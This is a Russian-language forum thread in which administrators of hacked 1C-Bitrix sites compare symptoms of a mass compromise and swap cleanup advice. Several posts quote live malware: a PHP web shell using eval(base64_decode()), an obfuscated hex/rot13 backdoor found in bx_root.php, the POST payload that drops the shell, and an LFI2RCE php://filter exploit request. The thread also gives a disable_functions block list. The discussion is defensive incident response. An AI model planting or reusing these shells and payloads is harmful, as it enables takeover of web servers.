Разработчикам

Взломаны сайты в честь дня конституции украины

RSS

Пользователь 547017

Заглянувший

Сообщений: 12 Баллов: 1 Регистрация: 04.04.2016

#401

01.03.2023 02:25:50

Всем привет!

Сегодня обнаружили такую же проблему, с внедрением вредоносного кода и остановкой работоспособности сайта.
Вирус наплодил файлы .htaccess с содержимым:

Код
<FilesMatch '.(py\|exe\|phtml\|php\|PHP\|Php\|PHp\|pHp\|pHP\|pHP7\|PHP7\|phP\|PhP\|php5\|suspected)$'> Order allow,deny Deny from all </FilesMatch>

а также файлы вида "2469a41bac71.php" с содержимым:

Код
<?=409723*20;if(md5($_COOKIE[d])=="17028f487cb2a84607646da3ad3878ec"){echo"ok";eval(base64_decode($_REQUEST[id]));if($_POST["up"]=="up"){@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);}}?>

Судя по логам, атака началась еще 4 дня назад...
Внедрение пришло с не обновлённых модулей и компонентов, которые теперь придется обновлять всем, т.к. проблемка с вирусами массового характера...

Тем, у кого нет бекапов - сочувствую, т.к. вычищать придется очень много всего (только .htaccess у нас больше 1000, т.к. расплодились по всем разделам включая папку /upload/)

У нас хостинг Бегет, поэтому проблем с бекапами нет, спасибо бегету за это...

В общем, решение следующее:
0. Остановить работу сайта и сделать его недоступным (за нас это сделал хостер) - иначе файлы пересоздаются
1. Восстановить все файлы сайта из бекапа / вычищать все лишние файлы и папки, а также права (755 - папки, 644 - файлы)
2. Проверить и удалить бекдоры в агентах https://ваш-сайт/bitrix/admin/agent_list.php типа //_(9.)H'5t}>qo7ouj7<(>!)U}3/]6u8u}Q%' //>w7u5ST<"IA.xY:8eeval / Восстановить базу данных из бекапа - по возможности
3. Разрешить доступ к сайту со своего ip-адреса (1.2.3.4) в nginx либо в .htaccess:
до Apache 2.4:

Код
Deny from All Allow from 1.2.3.4

c Apache 2.4:

Код
Require all denied Require ip 1.2.3.4

4. Если не хочется или не можется выполнить п.3 - удаляем или переименовываем разделы модулей и файлы *.php:
- /bitrix/modules/vote/
- /bitrix/modules/ui/
- /bitrix/tools/vote/
- /bitrix/modules/fileman/
- /bitrix/modules/main/tools/uf.php
- /bitrix/modules/main/tools/upload.php
- /bitrix/modules/main/tools/composite_data.php

5. Вернуть работу сайта
6. Произвести обновление системы (перед обновлением можно восстановить удаленные/переименованные файлы, если был п.4)
7. Перейти на PHP 8.1 / 8.2 и радоваться еще какое-то время неуязвимости системы

А далее проверяем access и error логи - для отслеживания и блокировки атакуемых файлов или модулей.

Пользователь 547017

Заглянувший

Сообщений: 12 Баллов: 1 Регистрация: 04.04.2016

#402

01.03.2023 02:35:28

Цитата
Евгений Власов написал: Обновили битрикс. Но файл в bitrix/admin сегодня опять создался.

Возможно в базе есть шелл либо где-то внутри есть еще исполняемые файлы вируса, желательно отсканировать антивирусом и все отсмотреть...

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#403

01.03.2023 03:32:21

Цитата
Евгений Власов написал: Обновили битрикс. Но файл в bitrix/admin сегодня опять создался.

Смотрите логи, чистите бэкдоры.
В агентах обязательно проверьте.

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 2663075

Постоянный посетитель

Сообщений: 93 Баллов: 17 Регистрация: 20.11.2018

#404

01.03.2023 11:50:07

Цитата

написал:
Всем привет!

Сегодня обнаружили такую же проблему, с внедрением вредоносного кода и остановкой работоспособности сайта.
Вирус наплодил файлы .htaccess с содержимым:

Код
< FilesMatch ' . ( py \| exe \| phtml \| php \| PHP \| Php \| PHp \| pHp \| pHP \| pHP7 \| PHP7 \| phP \| PhP \| php5 \| suspected )$'> Order allow,deny Deny from all </ FilesMatch >

а также файлы вида "2469a41bac71.php" с содержимым:

Код

   <? = 409723 * 20 ; if (md5( $_COOKIE [d])== "17028f487cb2a84607646da3ad3878ec" ){ echo  "ok" ; eval (base64_decode( $_REQUEST [id])); if ( $_POST [ "up" ]== "up" ){@copy( $_FILES [ "file" ][ "tmp_name" ], $_FILES [ "file" ][ "name" ]);}} ?>

Судя по логам, атака началась еще 4 дня назад...
Внедрение пришло с не обновлённых модулей и компонентов, которые теперь придется обновлять всем, т.к. проблемка с вирусами массового характера...

Тем, у кого нет бекапов - сочувствую, т.к. вычищать придется очень много всего (только .htaccess у нас больше 1000, т.к. расплодились по всем разделам включая папку /upload/)

У нас хостинг Бегет, поэтому проблем с бекапами нет, спасибо бегету за это...

В общем, решение следующее:
0. Остановить работу сайта и сделать его недоступным (за нас это сделал хостер) - иначе файлы пересоздаются
1. Восстановить все файлы сайта из бекапа / вычищать все лишние файлы и папки, а также права (755 - папки, 644 - файлы)
2. Восстановить базу данных из бекапа - по возможности
3. Разрешить доступ к сайту со своего ip-адреса (1.2.3.4) в nginx либо в .htaccess:
до Apache 2.4:

Код
Deny from All Allow from 1.2.3.4

c Apache 2.4:

Код
Require all denied Require ip 1.2 .3 .4

24 февраля начали - годовщина СВО.
То что модули ui/fileman рекомендуете удалить - это неправильно - основополагающие модули. можно тогда /bitrix/modules/main удалить тоже, чтоб надежно вирус загасить. но это и сайт не будет работать

))

Оптимизация скорости работы сайта и Оптимизация для сео (техническая оптимизация)

Пользователь 3544308

Заглянувший

Сообщений: 1 Регистрация: 01.03.2023

#405

01.03.2023 12:32:09

коллеги, у кого после лечения и всяческих блокировок гадость продолжает лезть - проверьте агенты. у себя обнаружил в списке агентов эвал-код, который запускался и порождал бекдор.

сильно помогла статья https://ydmitry.ru/blog/massovyy-vzlom-saytov-na-1s-bitriks-kak-zashchititsya/

Пользователь 547017

Заглянувший

Сообщений: 12 Баллов: 1 Регистрация: 04.04.2016

#406

01.03.2023 13:24:50

Цитата
Алексей написал: То что модули ui/fileman рекомендуете удалить - это неправильно - основополагающие модули. можно тогда /bitrix/modules/main удалить тоже, чтоб надежно вирус загасить. но это и сайт не будет работать ))

Проверено на себе - если переименовать временно модули из списка, работоспособность сайта извне не теряется, но редактировать/или добавлять контент не получится, конечно.

После чистки и перед самим обновлением их нужно будет вернуть. К сожалению, для избавления от дыр обновиться нужно будет обязательно.
Для меня это пока наиболее быстрый вариант очистки от вируса...

PS: по идее, тем у кого редакция выше 18, достаточно избавиться только от vote, но это не точно...

Пользователь 427967

Заглянувший

Сообщений: 2 Регистрация: 03.02.2016

#407

01.03.2023 15:20:56

Тоже столкнулись с созданием странных файлов в bitrix/admin, создаются они путём POST запросов на главную страницу сайта. Защитились запретом на отправку POST запросов к главной странице директивой в .htaccess.

RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{REQUEST_URI} ^/$
RewriteRule .* - [F,L]

Теперь злоумышленник получает 403 в ответ на пост запрос, и файлы не создаются.

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#408

01.03.2023 16:06:01

dmitry920, Вы бы лучше на этой главной содержимое $_POST запроса куда нить в файлик сохранили и сюда запостили, тогда можно найти адресата - скорее всего в ядре где-то спрятался.
В Вашем случае злоумышленнику достаточно этот $_POST запрос на любую другую страницу направить и вуаля.
в самое начало index.php разместите (блокировку уберите, она тут есть)

Код
@mkdir('logs'); if(!empty($_POST)) { file_put_contents('./logs/post-'.time().'.log', var_export($_POST, true)); die('hack attempt'); }

перед die() можно ещё добавить mail('mail@to', 'hack attempt', 'hack attempt'); чтобы попытки POST запросов на мыло фиксировать, после чего в ./logs/ заглянуть и сюда содержимое файлика закинуть

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 13618 Эксперт Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011 Сертифицированный партнер	#409 01.03.2023 16:08:23 clone message deleted Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 13618 Эксперт Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011 Сертифицированный партнер	#410 01.03.2023 16:09:38 чего то сообщение задвоилось, глюк какой то Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 1991131

Заглянувший

Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018

#411

01.03.2023 16:19:59

Такс друзья. На одном проекте массово создавались htaccess

На другом проекте были залиты разные php файлы, в разных папках

Описание:
Создавались файлы
admin.php
contents.php
сss/votes.php
Всякие левые wordpress

В файлах зашифрованный код, местами даже есть китайские иероглифы:)

Как в корне так и в /bitrix/

Интересно, что .htaccess и index.php постоянно перезаписывались.

Хост отписался, что были запущены левые процессы

Код

u15...8   24026  0.0  0.2 421540 33212 ?        S    11:43   0:02 php
/home/u15..8/....ru/www/lock666.php

Вот его действия:
strace -p 24026

nanosleep({tv_sec=1, tv_nsec=0}, 0x7ffc2c2b8c00) = 0
access("/home/u15..8/....ru/www/index.php", F_OK) = 0
access("/home/u15..8/....ru/www/.htaccess", F_OK) = 0
open("/home/u15..8/....ru/www/index.php", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=4932, ...}) = 0
lseek(3, 0, SEEK_CUR)                   = 0
fstat(3, {st_mode=S_IFREG|0644, st_size=4932, ...}) = 0
read(3, "<?php @include(\"\\167\\160\\55\\151\\"..., 8192) = 4932
read(3, "", 8192)                       = 0
read(3, "", 8192)                       = 0
close(3)                                = 0
open("/home/u15..8/....ru/www/.htaccess", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=204, ...}) = 0
lseek(3, 0, SEEK_CUR)                   = 0
fstat(3, {st_mode=S_IFREG|0444, st_size=204, ...}) = 0
read(3, "<IfModule mod_rewrite.c>\r\nRewrit"..., 8192) = 204
read(3, "", 8192)                       = 0
read(3, "", 8192)                       = 0
close(3)

Пользователь 6537570 Постоянный посетитель Сообщений: 81 Баллов: 14 Регистрация: 10.10.2022	#412 01.03.2023 16:28:03 Коллеги, исходя из темы не до конца ясно, страдают только старые (не обновленные) сайты или есть случаи и с актуальными версиями?

Пользователь 1991131

Заглянувший

Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018

#413

01.03.2023 16:34:41

Цитата
написал: Коллеги, исходя из темы не до конца ясно, страдают только старые (не обновленные) сайты или есть случаи и с актуальными версиями?

пока старый попал. на обновленных не вижу проблем

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#414

01.03.2023 16:39:33

Цитата
Александр Каменский написал: Коллеги, исходя из темы не до конца ясно, страдают только старые (не обновленные) сайты или есть случаи и с актуальными версиями?

я так понимаю только не обновлённые, хотя было одно сообщение

Цитата
Андрей Петров написал: ага, взломали сайт без всяких модулей голосования, с обновлениями на Старте

но так и без ответа про уязвимость ...

Лично на моей практике попадались взломанные сайты только не обновлённые

Цитата
Алексей написал: 24 февраля начали - годовщина СВО.

похоже на причину новой "волны", на сколько я помню год назад тоже была волна взломанных сайтов и не только под Битрикс.

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 1730687

Заглянувший

Сообщений: 3 Баллов: 1 Регистрация: 02.02.2018

#415

01.03.2023 17:08:53

Коллеги, да - проблема в старых версиях битры и хвостах, которые остались после взлома. июньского.
Как лечилось:
- останавка сервера
- поиск файлов, у меня был целый букет - как wp так и рандомные файлы, на которые по крону стучатся каждую секунду.
- залочил все исполняемые функции, кроме curl на уровне конфигурации php.ini
- выставил счет клиенту на обновление битры
- пролечил вагон файлов
- Пока битру не обновили с другого проекта скопировал модуль bitrix.xscan, повесил исполняемым антивирусник на все файлы, добавил лог по посту, айпи.
- У меня долбится с контейнера докера по крону (кстати тоже дырявый сервер), каждую секунду.

Висел sh скрипт с какого-то сайта тянул репозиторий
в Админке грузил - inc.class.style.php
и рандомный файл.
/home/bitrix/www/bitrix/admin/8f1c222aae51.php - с этого ip 77.73.131.73
wp-инъекция - с этого ip 185.81.157.213

disable_functions = evil,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
... теперь собираю статистику что делают и куда ломятся ))

Пользователь 1991131

Заглянувший

Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018

#416

01.03.2023 17:18:34

Цитата
написал: похоже на причину новой "волны", на сколько я помню год назад тоже была волна взломанных сайтов и не только под Битрикс.

да , скорей всего. под раздачу попал окологосударственный сайт, а в логах такие записи

Код
200.29.237.102 - - [28/Feb/2023:15:21:00 +0300] "T /MASHIAH%20NOW! HTTP/1.1" 301 178 "MASHIAH NOW!" "STOP WAR! MASHIAH NOW!"

Пользователь 17972

Заглянувший

Сообщений: 25 Баллов: 2 Регистрация: 22.11.2007

#417

01.03.2023 18:31:28

Цитата
написал: Коллеги, исходя из темы не до конца ясно, страдают только старые (не обновленные) сайты или есть случаи и с актуальными версиями?

Есть и свежие сайты. Обновлялись перед 1 февраля, чтобы была актуальная версия и не обновлять php до воьсмерки. Второй день мучаемся вычищаем. Так же есть еще три сайта на старых версиях. И один есть старый и бех vote. Симптомы схожие.

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#418

01.03.2023 18:41:06

Цитата

Владимир Кузин написал:
Есть и свежие сайты. Обновлялись перед 1 февраля, чтобы была актуальная версия и не обновлять php до воьсмерки. Второй день мучаемся вычищаем. Так же есть еще три сайта на старых версиях. И один есть старый и бех vote. Симптомы схожие.

На хостинге был ещё хоть один не обновленный сайт?
Или один сайт - один хостинг?

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 298542

Заглянувший

Сообщений: 20 Баллов: 1 Регистрация: 05.12.2014

#419

01.03.2023 18:49:25

Цитата
написал: Есть и свежие сайты. Обновлялись перед 1 февраля

В .htaccess был подключен скрипт модуля защиты /путь до папки сайта/bitrix/modules/security/tools/start.php?
В Главном модуле Режим вывода ошибок (error_reporting) = Не выводить?
В bitrix/.settings.php в 'exception_handling' параметр 'debug' = false и указан путь до лога ошибок в 'log'?

Пользователь 1991131 Заглянувший Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018	#420 01.03.2023 21:16:18 Еще один файл нашел /bitrix/modules/iblock/lib/bizproctype/wp-login.php через него и заливали вредонос. как он попал в эту папку пока выясняю

Пользователь 1991131 Заглянувший Сообщений: 13 Баллов: 1 Регистрация: 16.05.2018	#421 01.03.2023 21:25:04 кстати интересный htaccess там же лежит ( /bitrix/modules/iblock/lib/bizproctype/ ) <FilesMatch ".(php\|php5\|phtml)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(access.php\|wp.php\|term.php\|locale.php\|themes.php\|network.php\|container.php\|router.php\|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch>

Пользователь 7087514

Заглянувший

Сообщений: 1 Регистрация: 02.03.2023

#422

02.03.2023 00:20:17

Цитата
написал: dmitry920, Вы бы лучше на этой главной содержимое $_POST запроса куда нить в файлик сохранили и сюда запостили, тогда можно найти адресата

Код

Array
(
    [bitrixxx] => file_put_contents($_SERVER['DOCUMENT_ROOT'].'/bitrix/admin/b7c01fefc3c7.php','<?=409723*20;if(md5($_COOKIE[d])=="17028f487cb2a84607646da3ad3878ec"){echo"ok";eval(base64_decode($_REQUEST[id]));if($_POST["up"]=="up"){@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);}}?>');
)

Пользователь 13618 Эксперт Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011 Сертифицированный партнер	#423 02.03.2023 03:42:27 Александр, теперь поиском по всем php файлам ищите bitixxx И в агентах ещё обязательно проверьте заразу Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#424

02.03.2023 05:47:02

тут новенький почему то не может в тему написать, кинул в личку - репост ниже
лично я таких POST ещё не встречал, думаю просто совпадение

Цитата

Не знаю почему не могу написать. Новенький наверное.Первые факты взлома у нас 15.02.2023. Ломают через уязвимость
LFI2RCE via PHP Filters.

POST запрос выглядит так:
"POST /products/index.php?ID=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|.........|convert.base64-decode/resource=php://temp HTTP/1.1" 200 15544 "-" "firefox"
Будет создан веб-шелл через который дальше будут лить все подряд. Я в 1С Битрикс впервые. Как правильно задушить такие запрос? Понятно что запрет POST везде решит проблему. Но хотелось бы понять как это сделать правильно

я бы для начала так же как в предыдущем случае попробовал изучить запрос более детально
сохранил бы $_GET $_POST параметры (я так понимаю в лог полностью $_GET не влез, а было бы интересно взглянуть)

т.е. в /products/index.php в самое начало и mail() для оповещения перед die()

Код

@mkdir('logs');
if(!empty($_POST)) {
   file_put_contents('./logs/post-'.time().'.log', var_export($_POST, true));
   file_put_contents('./logs/get-'.time().'.log', var_export($_GET, true));
    die('hack attempt');
}

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 4148622

Заглянувший

Сообщений: 3 Регистрация: 24.04.2020

#425

02.03.2023 09:28:15

Вчера, повторно, поле 24 февраля сайт упал. Во всех разделах создались файлы .htaccess и был вставлен зловредный код в код index.php. После анализа логов было обнаружено что в папке admin были созданы бекдоры с рандомными именами. Создавались эти бекдоры POST запросом к главной странице сайта. Вчера вечером по вашему совету поставил логирования POST запросов к главной странице и это дало результаты. Вот такие запросы прилетают:

Код

array (  
 'BX_STAT' => '303q66696p655s7075745s636s6r74656r747326313q6269747269782s61646q696r2s6561323033363065653039302r70687026323q3p3s3q3430393732332n32303o6966286q643528245s434s4s4o49455o645q293q3q22313730323866343837636232613834363037363436646133616433383738656322297o6563686s226s6o223o6576616p286261736536345s6465636s646528245s524551554553545o69645q29293o696628245s504s53545o227570225q3q3q22757022297o40636s707928245s46494p45535o2266696p65225q5o22746q705s6r616q65225q2p245s46494p45535o2266696p65225q5o226r616q65225q293o7q7q3s3r', 
)

обнаружил код в файле \bitrix\modules\main\bx_root.php

Код
<? if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "") parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2])))); ?>

Что интересно дата bx_root.php такая же как у всех файлов ядра. В других дистрибутивах этого кода не обнаружил и поэтому удалил его. Наблюдаю дальше.

P.S Битрикс 18.5.180.

Взломаны сайты в честь дня конституции украины

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером